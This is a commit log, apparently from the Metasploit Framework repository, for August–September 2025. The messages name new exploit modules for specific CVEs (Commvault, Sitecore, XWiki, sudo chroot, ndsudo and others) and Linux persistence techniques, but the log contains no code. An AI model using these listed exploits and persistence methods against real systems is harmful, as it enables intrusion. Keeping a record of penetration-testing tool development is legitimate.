Compare commits

...

1801 Commits

Author SHA1 Message Date
jenkins-metasploit 99c24c37f2 automatic module_metadata_base.json update 2025-09-17 13:29:46 +00:00
Diego Ledda 448381ee96 Merge pull request #20548 from xHector1337/fix-exploits/linux/samba/is_known_pipename.rb
Fixes samba share iteration in linux/samba/is_known_pipename
2025-09-17 15:21:27 +02:00
Diego Ledda b5b1ac237a Update is_known_pipename.rb 2025-09-17 11:04:28 +02:00
jenkins-metasploit a333c81338 automatic module_metadata_base.json update 2025-09-17 08:06:57 +00:00
msutovsky-r7 dc8d67538c Land #20536, adds docker image persistence module
docker image persistence module
2025-09-17 09:56:16 +02:00
jenkins-metasploit 076fd0cc45 automatic module_metadata_base.json update 2025-09-16 22:06:51 +00:00
jheysel-r7 81ce0f8868 Merge pull request #20521 from h00die/modern_persistence_systemd
update systemd to persistence mixin
2025-09-16 14:56:26 -07:00
jenkins-metasploit 5394ff4b1b automatic module_metadata_base.json update 2025-09-16 20:30:50 +00:00
jheysel-r7 58dfd4d0ca Merge pull request #20507 from remmons-r7/commvault_rce_cve_2025_57790_cve_2025_57791
Exploit Module for CVE-2025-57790/CVE-2025-57791 - Commvault Unauthenticated RCE
2025-09-16 13:22:18 -07:00
h00die 93bc79e87d peer review for docker_image persistence 2025-09-16 15:57:24 -04:00
Muzaffer Umut ŞAHİN 7c5fce6872 Add nill check logic 2025-09-16 19:49:55 +03:00
msutovsky-r7 5eecb1feac Land #20535, adds a test login scanner and fixes ANONYMOUS_LOGIN
Add a test login scanner and fix ANONYMOUS_LOGIN
2025-09-16 16:51:26 +02:00
jenkins-metasploit 76977aeb61 automatic module_metadata_base.json update 2025-09-16 13:06:52 +00:00
msutovsky-r7 32aa0d84e4 Land #20525, moves obsidian plugin module to persistence category and mixin
update obsidian to persistence mixin
2025-09-16 14:58:15 +02:00
jenkins-metasploit 555423b2eb automatic module_metadata_base.json update 2025-09-15 23:04:23 +00:00
jheysel-r7 02e35f7e92 Merge pull request #20520 from h00die/modern_persistence_openrc
update openrc to persistence mixin
2025-09-15 15:54:31 -07:00
h00die ebe0234ddb Update documentation/modules/exploit/linux/persistence/init_openrc.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-09-15 16:30:17 -04:00
jenkins-metasploit ab1dd8787c automatic module_metadata_base.json update 2025-09-15 19:56:40 +00:00
Brendan 1ec10ec877 Merge pull request #20510 from h00die/modern_persistence_rc_local
update rc_local to persistence mixin
2025-09-15 14:47:48 -05:00
Spencer McIntyre a538a8ea14 Merge pull request #20483 from dledda-r7/fix/update-metasploit-payloads-runner
Update CI for meterpreter vs2022
2025-09-15 15:43:16 -04:00
remmons-r7 eddc81f10c Update commvault_rce_cve_2025_57790_cve_2025_57791.md
Update the example usage terminal output to reflect module changes.
2025-09-15 11:37:57 -05:00
remmons-r7 12b78c086d Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
Remove an empty line that msftidy doesn't like
2025-09-15 11:19:49 -05:00
remmons-r7 ddc5abf20c Update commvault_rce_cve_2025_57790_cve_2025_57791.rb
Remove a commented out line that isn't needed.
2025-09-15 10:56:30 -05:00
remmons-r7 bb3a26cff1 Implement peer review suggestions for Commvault module
Implementing commvault_rce_cve_2025_57790_cve_2025_57791.rb changes from peer review.
2025-09-15 10:54:34 -05:00
remmons-r7 b754b7027c Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791 2025-09-15 10:47:38 -05:00
dledda-r7 20345c2234 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 10:12:45 -04:00
dledda-r7 7be73c59e9 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 09:33:54 -04:00
dledda-r7 b30c3e32c6 fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 08:53:39 -04:00
dledda-r7 85c65bd48f fix: replace Start-Process with Invoke-Command in meterpreter acceptance 2025-09-15 08:04:35 -04:00
jenkins-metasploit 8ad35c0534 automatic module_metadata_base.json update 2025-09-12 23:27:45 +00:00
jheysel-r7 b45a3caaa5 Merge pull request #20509 from h00die/modern_persistence_motd
update motd to persistence mixin
2025-09-12 16:18:08 -07:00
Metasploit 831912a81b Bump version of framework to 6.4.89 2025-09-12 16:38:50 -05:00
jenkins-metasploit 4328e9951f automatic module_metadata_base.json update 2025-09-12 21:22:03 +00:00
jheysel-r7 e473c08b61 Merge pull request #20542 from zeroSteiner/fix/smb-kerberos-login-exp
Fix a Kerberos Error Edge Case When Logging In
2025-09-12 14:13:54 -07:00
Spencer McIntyre c27138a5bf Filter for an edge case in response codes 2025-09-12 16:49:49 -04:00
Spencer McIntyre 829166def4 Fix a regression in smb_login 2025-09-12 16:49:46 -04:00
jenkins-metasploit 3f1698f209 automatic module_metadata_base.json update 2025-09-12 19:56:02 +00:00
jheysel-r7 796404c1d7 Merge pull request #20541 from zeroSteiner/fix/smb-login-nil-passwords
Fix a regression in smb_login
2025-09-12 12:42:19 -07:00
Spencer McIntyre 3e396ce31f Deregister KrbCacheMode because it's ignored 2025-09-12 15:11:23 -04:00
Spencer McIntyre 5d748b9ba3 Fix a regression in smb_login 2025-09-12 14:27:32 -04:00
Spencer McIntyre 59f1dd4879 Merge pull request #20529 from bwatters-r7/docs/update-contributing
Add section on Vibecoding and AI/LLM
2025-09-12 13:01:26 -04:00
jenkins-metasploit dbc7867dd7 automatic module_metadata_base.json update 2025-09-12 12:49:27 +00:00
msutovsky-r7 c901b5a306 Land #20526, moves at_persistence to persistence category and mixin
Modern persistence: at
2025-09-12 14:41:00 +02:00
mwalas-r7 d3d2950e80 Merge pull request #20537 from zeroSteiner/fix/null-cache-path
Check the path is set before checking the file exists
2025-09-12 05:18:37 -07:00
h00die 5abe0f57b7 Update documentation/modules/exploit/multi/persistence/at.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-12 14:13:27 +02:00
h00die 15cdbfac2e update at persistence to use attck ref 2025-09-12 14:13:26 +02:00
h00die fd1d70ef93 update at persistence to mixin 2025-09-12 14:13:26 +02:00
jenkins-metasploit cc48f38e21 automatic module_metadata_base.json update 2025-09-11 18:34:00 +00:00
jheysel-r7 96a83143f1 Merge pull request #20479 from msutovsky-r7/exploit/sitecore/postauth-rce
Adds modules for Sitecore XP post-auth remote code executions (CVE-2025-34510, CVE-2025-34511)
2025-09-11 11:25:27 -07:00
jenkins-metasploit dd7c491d9e automatic module_metadata_base.json update 2025-09-11 17:06:52 +00:00
Diego Ledda 985af001d2 Merge pull request #20497 from h00die/modern_persistence_autostart
update autostart to persistence mixin
2025-09-11 18:58:32 +02:00
jheysel-r7 a3a1e146f0 Apply suggestions from code review 2025-09-11 09:40:34 -07:00
Spencer McIntyre e197f532db Check the path is set before checking the file exists 2025-09-11 12:35:30 -04:00
h00die bce1a19927 Update modules/exploits/linux/persistence/init_openrc.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-09-11 12:00:52 -04:00
jenkins-metasploit 947a0ed339 automatic module_metadata_base.json update 2025-09-11 14:54:10 +00:00
Spencer McIntyre afdaf4ff39 Merge pull request #20514 from dledda-r7/fix/remove-unhook-autoload
Removing unhook extension autoload
2025-09-11 10:45:39 -04:00
Martin Sutovsky 5ab864b9b1 Uses between? for version check, clearer webshell upload 2025-09-11 11:04:34 +02:00
Diego Ledda 80c5e41650 Merge pull request #20495 from h00die/modern_persistence_apt
update apt_package_manager to persistence mixin
2025-09-11 10:49:08 +02:00
Martin Sutovsky 00bd70751c Updates docs 2025-09-11 10:41:28 +02:00
Metasploit f494b9871a Bump version of framework to 6.4.88 2025-09-11 03:32:35 -05:00
h00die 71e9602eba Update modules/exploits/linux/persistence/autostart.rb
Co-authored-by: Diego Ledda <diego_ledda@rapid7.com>
2025-09-10 13:59:23 -04:00
h00die 2bf5264aff docker image persistence module 2025-09-10 13:45:22 -04:00
Diego Ledda 4104497498 Merge pull request #20502 from zeroSteiner/feat/refactor-pe-compiling
Update PE EXE Templates
2025-09-10 12:37:35 +02:00
jenkins-metasploit 1fe1512596 automatic module_metadata_base.json update 2025-09-10 08:23:55 +00:00
Diego Ledda 1314f5d0bb Merge pull request #20455 from Chocapikk/aitemi_m300_time_rce
Add unauthenticated RCE on Shenzhen Aitemi M300 MT02 (CVE-2025-34152)
2025-09-10 10:12:41 +02:00
h00die 489e0ca404 docker image persistence module draft 2025-09-09 22:53:06 -04:00
h00die e3cad5b772 systemd updated with mixin udpates 2025-09-09 16:19:41 -04:00
h00die 296961137e use attck ref in systemd persistence module 2025-09-09 16:19:41 -04:00
h00die f240fed592 use attck ref in systemd persistence module 2025-09-09 16:19:41 -04:00
h00die 8b6aede3e4 update systemd to persistence mixin 2025-09-09 16:19:41 -04:00
h00die 16e407fa47 rc_local updated with mixin udpates 2025-09-09 15:42:46 -04:00
h00die 945fd8feb1 use attck ref in openrc persistence module 2025-09-09 15:42:46 -04:00
h00die c2ca191711 update openrc to persistence mixin 2025-09-09 15:42:46 -04:00
h00die 2bd3ea0e6a rc_local updated with mixin udpates 2025-09-09 14:58:09 -04:00
h00die feb4c6f855 rc_local updated with mixin udpates 2025-09-09 14:35:35 -04:00
h00die e0f350f294 update rc_local to persistence mixin 2025-09-09 14:35:35 -04:00
h00die 8bc611465b motd updated with mixin udpates 2025-09-09 14:29:29 -04:00
h00die e1e4e43535 update motd to persistence mixin 2025-09-09 14:29:29 -04:00
Spencer McIntyre 1bd44fa485 Set the anonymous_login option 2025-09-09 13:52:47 -04:00
Spencer McIntyre 30cfc5dbb0 Add a module for testing credential collections 2025-09-09 13:50:55 -04:00
h00die c4d03023fc autostart updated with mixin udpates 2025-09-09 11:47:13 -04:00
h00die fb29084f86 persistence autostart cleanup updates 2025-09-09 10:49:56 -04:00
h00die c3be5ad23c update autostart to persistence mixin 2025-09-09 10:49:56 -04:00
jenkins-metasploit b650776c83 automatic module_metadata_base.json update 2025-09-09 14:36:48 +00:00
h00die 638beeb738 apt persistence updates for mixin 2025-09-09 10:33:10 -04:00
h00die 711d8d0896 persistence apt cleanup updates 2025-09-09 10:28:03 -04:00
h00die db2f9f7792 update apt_package_manager to persistence mixin 2025-09-09 10:28:03 -04:00
Diego Ledda 140232da2c Merge pull request #20534 from h00die/persistence_lib_fixes
adjustments to the persistence lib and landed modules
2025-09-09 16:25:24 +02:00
h00die c4936d1b0f adjustments to the persistence lib and modules 2025-09-09 10:02:06 -04:00
jenkins-metasploit 6df1871523 automatic module_metadata_base.json update 2025-09-09 13:51:25 +00:00
cgranleese-r7 2f27fe4ed5 Merge pull request #19653 from Mathiou04/fix_bugs_in_credentials_collection_enumerator_and_refacto
Fixing multiple bugs in credential generation + refactoring
2025-09-09 14:42:12 +01:00
jenkins-metasploit 704a8f10b8 automatic module_metadata_base.json update 2025-09-08 23:57:37 +00:00
jheysel-r7 7972017936 Merge pull request #20397 from vognik/CVE-2025-34300
Add Lighthouse Studio unauthenticated RCE (CVE-2025-34300)
2025-09-08 16:48:29 -07:00
jheysel-r7 0e325e6217 Update documentation/modules/exploit/multi/http/lighthouse_studio_unauth_rce_CVE_2025_34300.md 2025-09-08 16:29:00 -07:00
Mathieu 736d89bc2c Update the CredentialCollectionSpecs
CredentialCollection: adding various tests that currently fails to demonstrate multiple bugs in the each method

Fix incorrect expectations of currently failing tests

Inline all specs to avoid nesting context

Reverts some test expectations

Some final tidy up

Re-revert tests expectations
2025-09-08 13:09:51 -04:00
Mathieu 4b97240eca Fixes for the CredentialCollection
Fixes trivial bugs when combining additional_publics with user_as_pass

Fixes the fact that no nil credential is generated for additional_publics

Re-implement the each_unfiltered_password_first method (used in case of password spraying) to make all tests pass

First refactoring pass in order to dry the code that iterates on passwords and usernames
2025-09-08 13:08:02 -04:00
Mathieu 14bc1f14fc Change how ldap_login generate its specific credentials for SCHANNEL && KERBEROS auth 2025-09-08 13:02:30 -04:00
Diego Ledda 68940822fd Merge pull request #20494 from h00die/modern_persistence_example
add example linux persistence module
2025-09-08 16:23:20 +02:00
h00die 5c1673bb20 update obsidian to persistence mixin 2025-09-06 15:05:21 -04:00
remmons-r7 8ffc9a3db4 Update commvault_rce_cve_2025_57790_cve_2025_57791.md
Updating module type from "multi" to "windows" in documentation :)
2025-09-05 23:13:10 -05:00
remmons-r7 00114142ff Delete modules/exploits/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.rb 2025-09-05 23:10:39 -05:00
remmons-r7 e1b6249c23 Delete documentation/modules/exploit/multi/http/commvault_rce_cve_2025_57790_cve_2025_57791.md 2025-09-05 23:09:51 -05:00
remmons-r7 e661388ce6 Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.md
New documentation for the Commvault CVE-2025-57790/CVE-2025-57791 RCE module, updated to reflect module changes.
2025-09-05 23:06:16 -05:00
remmons-r7 be546af7c0 Revise and move commvault_rce_cve_2025_57790_cve_2025_57791.rb
Revised initial module and moved it to windows instead of multi.
2025-09-05 23:04:02 -05:00
remmons-r7 3f7512ba62 Merge branch 'rapid7:master' into commvault_rce_cve_2025_57790_cve_2025_57791 2025-09-05 23:02:01 -05:00
bwatters-r7 c40e4cc8bc Add section on Vibecoding and AI/LLM 2025-09-05 15:15:56 -05:00
Diego Ledda 4ede319b0a fix: review changes 2025-09-05 15:21:49 +02:00
adfoster-r7 5fedbe026b Merge pull request #20519 from cgranleese-r7/adds-base-sessions-path-to-meterpreter-workflow-paths
Adds `lib/msf/base/sessions` path to Meterpreter acceptance workflow paths
2025-09-05 13:07:55 +01:00
cgranleese-r7 0966954549 Adds lib/msf/base/sessions to meterpreter acceptance workflow paths 2025-09-05 07:10:40 +01:00
jenkins-metasploit db80e8173a automatic module_metadata_base.json update 2025-09-04 17:31:17 +00:00
Spencer McIntyre e07d174011 Merge pull request #20511 from mwalas-r7/fix/sni-support-for-ssl-scanner
Added SNI support for the ssl_version scanner
2025-09-04 13:22:57 -04:00
Marcin Walas 9fb4966e52 Added SNI support for ssl scanner 2025-09-04 16:12:31 +02:00
Diego Ledda 55d8a3f33c fix: adding issue reference 2025-09-04 14:36:55 +02:00
dwelch-r7 2ca14c900b Merge pull request #20516 from adfoster-r7/fix-msfdb-init-failures-on-nixos
Fix msfdb init failures on NixOs
2025-09-04 12:25:18 +01:00
adfoster-r7 ce3dc123f9 Fix msfdb init failures on nixos 2025-09-04 11:41:30 +01:00
Metasploit 9beacd1980 Bump version of framework to 6.4.87 2025-09-04 03:32:48 -05:00
jenkins-metasploit ef61041ae1 automatic module_metadata_base.json update 2025-09-03 22:03:28 +00:00
Brendan da7224ed1b Merge pull request #20376 from msutovsky-r7/exploit/sudo-chroot-privesc
Adds module for sudo chroot LPE (CVE-2025-32463)
2025-09-03 16:53:43 -05:00
adfoster-r7 0bc993b9ca Merge pull request #20513 from rapid7/revert-20444-adds-survey-banner-docs-site
Revert "Adds survey banner to the docs site"
2025-09-03 16:29:45 +01:00
dledda-r7 96c6a14e95 fix: removing unhook extension autoload 2025-09-03 11:22:02 -04:00
cgranleese-r7 be01d0578b Revert "Adds survey banner to the docs site" 2025-09-03 16:11:00 +01:00
remmons-r7 b360d5edc3 Create commvault_rce_cve_2025_57790_cve_2025_57791.md 2025-09-02 15:43:22 -05:00
remmons-r7 a07203c14e Create commvault_rce_cve_2025_57790_cve_2025_57791.rb 2025-09-02 15:39:29 -05:00
jenkins-metasploit 9efd3c3c79 automatic module_metadata_base.json update 2025-09-02 14:07:19 +00:00
msutovsky-r7 657280b4b8 Land #20505, adds fix for sap_router_portscanner module
fix output of `sap_router_portscanner` that causes module crash
2025-09-02 15:56:59 +02:00
jenkins-metasploit b3176f0274 automatic module_metadata_base.json update 2025-09-02 12:40:28 +00:00
msutovsky-r7 7820c6caec Land #20504, moves bash_profile module to persistence category
update bash_profile to persistence mixin
2025-09-02 14:31:42 +02:00
adfoster-r7 3d6993d4ba Merge pull request #20500 from cgranleese-r7/fixes-docker-invalid-uri-error
Fixes database name stripping
2025-09-02 12:42:53 +01:00
randomstr1ng 0fe22ead4f Fix table output to use print_line instead of print in
sap_router_port_scanner
2025-09-02 10:05:42 +02:00
h00die 56c692fc3e example persistence cleanup updates 2025-09-01 19:34:57 -04:00
h00die d9f96571e4 use new ATTCK ref 2025-09-01 18:09:25 -04:00
h00die 4591de4cae last changes for persistence bash module after peer review 2025-09-01 17:49:49 -04:00
Martin Sutovsky d056164d89 Removes redundant definitions 2025-09-01 15:53:14 +02:00
Martin Sutovsky fa64376c5c Adds comments for login function 2025-09-01 15:50:21 +02:00
jenkins-metasploit e0fec0e61b automatic module_metadata_base.json update 2025-09-01 11:46:04 +00:00
msutovsky-r7 9283562ee5 Land #20493, adds XWiki unauthenticated exploit module (CVE-2025-24893)
Add XWiki Unauthenticated RCE (CVE-2025-24893)
2025-09-01 13:37:31 +02:00
h00die fa9d58bb73 update bash_profile to persistence mixin 2025-08-30 15:17:50 -04:00
jenkins-metasploit 0e64aef9f7 automatic module_metadata_base.json update 2025-08-29 18:21:05 +00:00
msutovsky-r7 5d59fbd333 Land #19903, adds module for periodic script persistence
Add OSX Periodic Script Peristence
2025-08-29 20:12:12 +02:00
Martin Sutovsky 2681e7cfed Update docs 2025-08-29 17:53:07 +02:00
Martin Sutovsky 57f14339d9 Adds x64 to BSD target 2025-08-29 14:47:11 +02:00
Vognik 071a4a34fc fix tests 2025-08-29 08:41:43 +04:00
Maksim Rogov 9b1d07dea8 removed unnecessary fail_with from check function
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-29 06:55:59 +03:00
Spencer McIntyre 9979af9fd7 Update the specs 2025-08-28 17:59:17 -04:00
Spencer McIntyre 75c1415de4 Add the new exe templates 2025-08-28 17:41:48 -04:00
Spencer McIntyre cf8aa2fc48 Fix the build script 2025-08-28 17:41:28 -04:00
Spencer McIntyre 3af8bd97ad Consistently use the same technique for exe-service 2025-08-28 17:39:57 -04:00
Spencer McIntyre 0e95f25d4b Add the exe_service template to the build script 2025-08-28 17:28:55 -04:00
Spencer McIntyre 0192f314ce Begin normalizing PE templates 2025-08-28 17:28:37 -04:00
h00die 2b249d5626 update linux example persistence 2025-08-28 17:00:05 -04:00
cgranleese-r7 5a3195d9f6 Fixes database name stripping 2025-08-28 15:32:11 +01:00
msutovsky-r7 c163cb3141 Land #20490, adds the HTTP::Auth option to HTTP modules
This adds the `HTTP::Auth` Option to HTTP Modules
2025-08-28 16:13:38 +02:00
Spencer McIntyre 196e19808d Add some error handling for kerberos options 2025-08-28 10:00:19 -04:00
Martin Sutovsky ae64436441 Fixes payload delivery, updates targets 2025-08-28 15:47:24 +02:00
dwelch-r7 3d809fa11b Merge pull request #20499 from dwelch-r7/fix-msfconsole-crash-in-pro-install
Add the monkey patch for the TagBuilder that pro needs
2025-08-28 13:05:52 +01:00
Dean Welch 672e9fb32e Add the monkey patch for the TagBuilder that pro needs 2025-08-28 12:42:42 +01:00
Metasploit 2896b232d1 Bump version of framework to 6.4.86 2025-08-28 06:09:25 -05:00
jenkins-metasploit 66c16b0887 automatic module_metadata_base.json update 2025-08-28 07:59:52 +00:00
msutovsky-r7 c5e5cb84f1 Land #20266, adds UDP keyboard exploit module for Remote for Mac 2025.6
Adds UDP Keyboard RCE for Remote for Mac 2025.6
2025-08-28 09:47:16 +02:00
Martin Sutovsky b177507041 Adds docs 2025-08-28 09:27:32 +02:00
Martin Sutovsky f9b8a9b95e Adds more robust check method 2025-08-28 09:11:01 +02:00
Martin Sutovsky 6c65db52c5 Code rebase, fixing according to the comments 2025-08-28 09:00:12 +02:00
Chokri Hammedi a251694e2f Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-28 08:57:56 +02:00
Chokri Hammedi eda79be4bd Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-28 08:57:56 +02:00
Chokri Hammedi 2d1f700935 Update modules/exploits/osx/misc/remote_for_mac_udp_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-28 08:57:55 +02:00
root 8a6d12a2f4 Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE 2025-08-28 08:57:55 +02:00
root 374407fc79 Add exploit for Remote for Mac 2025.6 unauthenticated UDP RCE 2025-08-28 08:57:54 +02:00
jenkins-metasploit 7549339e01 automatic module_metadata_base.json update 2025-08-27 20:55:20 +00:00
Brendan f1dffd3ad6 Merge pull request #20480 from msutovsky-r7/exploit/pretalx/file-rw
Adds modules for Pretalx File Read/Limited File Write (CVE-2023-28459, CVE-2023-28458)
2025-08-27 15:46:39 -05:00
Martin Sutovsky f43b141886 Fine-tunning docs 2025-08-27 21:18:03 +02:00
Martin Sutovsky 61a0d68d97 Fine-tuning docs 2025-08-27 19:22:46 +02:00
Martin Sutovsky 23f486dc53 Updates docs 2025-08-27 19:16:33 +02:00
Martin Sutovsky 7196786258 Clarifies docs 2025-08-27 18:12:54 +02:00
Martin Sutovsky eef1d34506 Adds more comprehensive check, updates build instructions 2025-08-27 17:58:11 +02:00
jenkins-metasploit df86d1bd79 automatic module_metadata_base.json update 2025-08-26 20:23:12 +00:00
Spencer McIntyre c56bfcaa5b Merge pull request #20488 from mwalas-r7/fix/ssl-version-scanner
Fixed listing weak ciphers in ssl_version scan
2025-08-26 16:14:23 -04:00
Martin Sutovsky a8e97e034c Adds docs 2025-08-26 13:06:57 +02:00
Martin Sutovsky 2533ddf441 Rubocoping 2025-08-26 12:42:28 +02:00
jenkins-metasploit 2e1e2efd5c automatic module_metadata_base.json update 2025-08-25 23:28:32 +00:00
Spencer McIntyre 51a2c96e7b Merge pull request #20489 from 2tunnels/patch-1
Fix legacy method override in torchserver_cve_2023_43654
2025-08-25 19:20:09 -04:00
Marcin Walas 6c77f7479d Fixed showing weak ciphers in ssl_version scan 2025-08-25 21:41:29 +02:00
Martin Sutovsky b43b4c9f37 Updates library, addressing comments 2025-08-25 17:49:34 +02:00
Maksim Rogov bdad398541 Update Payload Generation 2025-08-25 15:49:30 +03:00
Maksim Rogov 16b3a352e8 Apply suggestion from @msutovsky-r7
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-25 10:49:49 +03:00
Maksim Rogov 51ca11a9d4 Apply suggestion from @msutovsky-r7
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-24 18:14:28 +03:00
Vognik 92ddf5646a Code Review Edits from @msutovsky-r7 2025-08-24 19:13:16 +04:00
h00die 96cc6b479c add example linux persistence module 2025-08-24 08:09:05 -04:00
Vognik 7289c25faa Fix Tests 2025-08-24 12:12:22 +04:00
Vognik 7317922be8 Added Documentation 2025-08-24 07:46:59 +04:00
Vognik 2b01ba6200 Add XWiki Unauthenticated RCE (CVE-2025-24893) 2025-08-23 18:56:24 +04:00
Spencer McIntyre c1074c138e Move the options into the mixin 2025-08-22 16:05:12 -04:00
Spencer McIntyre 7fdb1e03fa Tie in Kerberos authentication for HTTP modules 2025-08-22 15:58:18 -04:00
Vlad Dmitrievich baa5469a21 Fix legacy method override in torchserver_cve_2023_43654
I think `Msf::Exploit::Remote::Java::HTTP::ClassLoader` module had `on_request_uri` method, that was later renamed to `java_class_loader_on_request_uri`.
2025-08-22 17:01:41 +03:00
Martin Sutovsky d49870211b Adding exceptions to exploit module, bug fix for aux module, adds documentation for exploit module 2025-08-22 15:26:46 +02:00
Martin Sutovsky 4e113b1768 Addresses comments, adds exception for Pretalx, modifies aux module 2025-08-22 13:59:50 +02:00
Martin Sutovsky 2e9b5453ec Adds description 2025-08-21 15:29:08 +02:00
Martin Sutovsky fb062075e3 Adds target, adds side effects 2025-08-21 15:21:16 +02:00
Martin Sutovsky 408f7575e4 Fixing write primitive for exploit module, library update 2025-08-21 15:17:32 +02:00
Metasploit f6b9101249 Bump version of framework to 6.4.85 2025-08-21 06:36:19 -05:00
adfoster-r7 4b2ae82f87 Merge pull request #20485 from adfoster-r7/fix-ldap-schannel-supercall
Fix ldap schannel superclass method call
2025-08-21 11:52:53 +01:00
adfoster-r7 f3dd030574 Fix ldap schannel supercall 2025-08-21 11:28:26 +01:00
Metasploit 99dd2a0613 Bump version of framework to 6.4.84 2025-08-21 05:13:14 -05:00
adfoster-r7 30bda5c6a5 Merge pull request #20484 from cdelafuente-r7/add_parallel_gem
Add parallel gem to gemspec
2025-08-21 10:54:31 +01:00
Christophe De La Fuente 39e008e650 Add parallel gem to gemspec 2025-08-21 11:50:21 +02:00
dledda-r7 5b9f1c7818 fix: update CI for meterpreter vs2022 2025-08-21 04:06:18 -04:00
Martin Sutovsky 01c09bcfed Library fixes, refactoring exploit module 2025-08-21 09:22:21 +02:00
Martin Sutovsky 72dcc5a301 Library fix 2025-08-21 07:21:56 +02:00
jenkins-metasploit ab45ae60f3 automatic module_metadata_base.json update 2025-08-20 18:26:50 +00:00
Spencer McIntyre 5735a82df7 Merge pull request #20460 from msutovsky-r7/exploit/ndsudo-priv-esc
Adds an exploit for ndsudo privilege escalation (CVE-2024-32019)
2025-08-20 14:13:24 -04:00
Spencer McIntyre 8602f8beaf Merge pull request #20470 from bwatters-r7/docs/readd-esc8
re-add ESC8 creation guide
2025-08-20 10:57:18 -04:00
Martin Sutovsky e23feb0faf Adds check for ndsudo binary 2025-08-20 12:49:38 +02:00
Metasploit f18b0ccf7d Bump version of framework to 6.4.83 2025-08-20 05:44:43 -05:00
jenkins-metasploit 5ad5384b7f automatic module_metadata_base.json update 2025-08-20 10:33:47 +00:00
dwelch-r7 d09d5212ec Merge pull request #20457 from adfoster-r7/add-database-ref-opts-for-kerberos-and-pkcs12
Add database ref opts for kerberos and pkcs12
2025-08-20 11:25:20 +01:00
Martin Sutovsky aae5356190 Updates the docs 2025-08-20 12:10:11 +02:00
Martin Sutovsky da5b20faa4 Creating lib file for shared functionality, adding more reliable check method for CVE-2025-34511, docs init 2025-08-20 10:59:22 +02:00
msutovsky-r7 29a7e4b7a8 Land #20429, updates communication channels in Metasploit documentation
Update communication channels in documentation
2025-08-20 10:17:44 +02:00
Martin Sutovsky 8c28c7dbae Code changes for 34510, adds module for CVE-2025-34511 2025-08-20 09:58:26 +02:00
Corey 88d7a1ab04 fix coonflicts and rubocop 2025-08-19 12:37:53 -04:00
Corey df917720eb Remove payload file 2025-08-19 12:33:56 -04:00
Martin Sutovsky 7ab12460f1 Fixing payloads 2025-08-19 16:11:25 +02:00
Martin Sutovsky 96791403db Adds malicious zip upload 2025-08-19 09:56:23 +02:00
adfoster-r7 0557d63127 Add database ref opts for kerberos and pkcs12 2025-08-18 15:56:47 +01:00
jenkins-metasploit 7f833ceba5 automatic module_metadata_base.json update 2025-08-18 10:20:18 +00:00
Diego Ledda be3d77715e Merge pull request #20382 from Chocapikk/depicter-fix
Fix `auxiliary/gather/wp_depicter_sqli_cve_2025_2011`
2025-08-18 12:08:45 +02:00
Vognik b13f59128c Added Setup Guide for Windows 2025-08-18 08:20:32 +04:00
jenkins-metasploit bcc59f1ec7 automatic module_metadata_base.json update 2025-08-16 00:04:52 +00:00
jheysel-r7 0830de8404 Merge pull request #20471 from zeroSteiner/feat/mod/ldap/esc-finder-updates
Update the ldap_esc_vulnerable_cert_finder to check enrollment permissions
2025-08-15 16:52:29 -07:00
Jacob Pham c8f44cfbce Update docs/metasploit-framework.wiki/Contact.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-15 16:53:39 -04:00
Spencer McIntyre 170fbcb2bd Add two more report filters 2025-08-15 15:34:13 -04:00
Spencer McIntyre 1c41c734f0 Fix a missing ESC16 check 2025-08-15 15:11:52 -04:00
Spencer McIntyre 25c72d4858 Handle some edge cases in report filtering 2025-08-15 14:49:48 -04:00
Spencer McIntyre f3719b884a Document the new report filtering option 2025-08-15 11:57:30 -04:00
Spencer McIntyre c8f72a83c0 Refactor to remove redundant code 2025-08-15 11:57:30 -04:00
Spencer McIntyre 2338ad7c84 Implement the desired filtering 2025-08-15 11:57:30 -04:00
Spencer McIntyre fa33c84612 Evaluate permissions for templates and CAs 2025-08-15 11:57:30 -04:00
Spencer McIntyre 13b3af325f Apply the ACEs for Authenticated Users 2025-08-15 11:57:30 -04:00
Martin Sutovsky 52efe8d6de Module init 2025-08-15 14:37:09 +02:00
cgranleese-r7 c843e36402 Merge pull request #20469 from adfoster-r7/improve-kerberos-file-load-error-messages
Improve Kerberos file load error messages
2025-08-15 12:51:52 +01:00
adfoster-r7 bebb43f8f6 Improve kerberos file load error messages 2025-08-15 12:38:45 +01:00
Diego Ledda 487c204b52 Merge pull request #20381 from h00die/persistence_phase_1
Persistence libraries/Mixins
2025-08-15 12:40:55 +02:00
Martin Sutovsky 38f81e073f Fixing documentation, adds more reliable cmd_exec 2025-08-15 07:26:56 +02:00
bwatters-r7 97958cdf33 re-add ESC8 creation guide 2025-08-14 16:42:51 -05:00
Metasploit 996b1d0632 Bump version of framework to 6.4.82 2025-08-14 16:20:34 -05:00
Metasploit 6ef226f43e Bump version of framework to 6.4.81 2025-08-14 13:39:23 -05:00
Chocapikk f4e71c1e93 Replace Rank 2025-08-14 16:37:13 +02:00
Chocapikk 3022513652 Add CRASH_SERVICE_DOWN and "`" badchar 2025-08-14 16:16:21 +02:00
Valentin Lobstein 46bbec2470 Update modules/exploits/linux/http/aitemi_m300_time_rce.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2025-08-14 16:11:27 +02:00
Valentin Lobstein bd9c2bf231 Update modules/exploits/linux/http/aitemi_m300_time_rce.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-14 16:01:59 +02:00
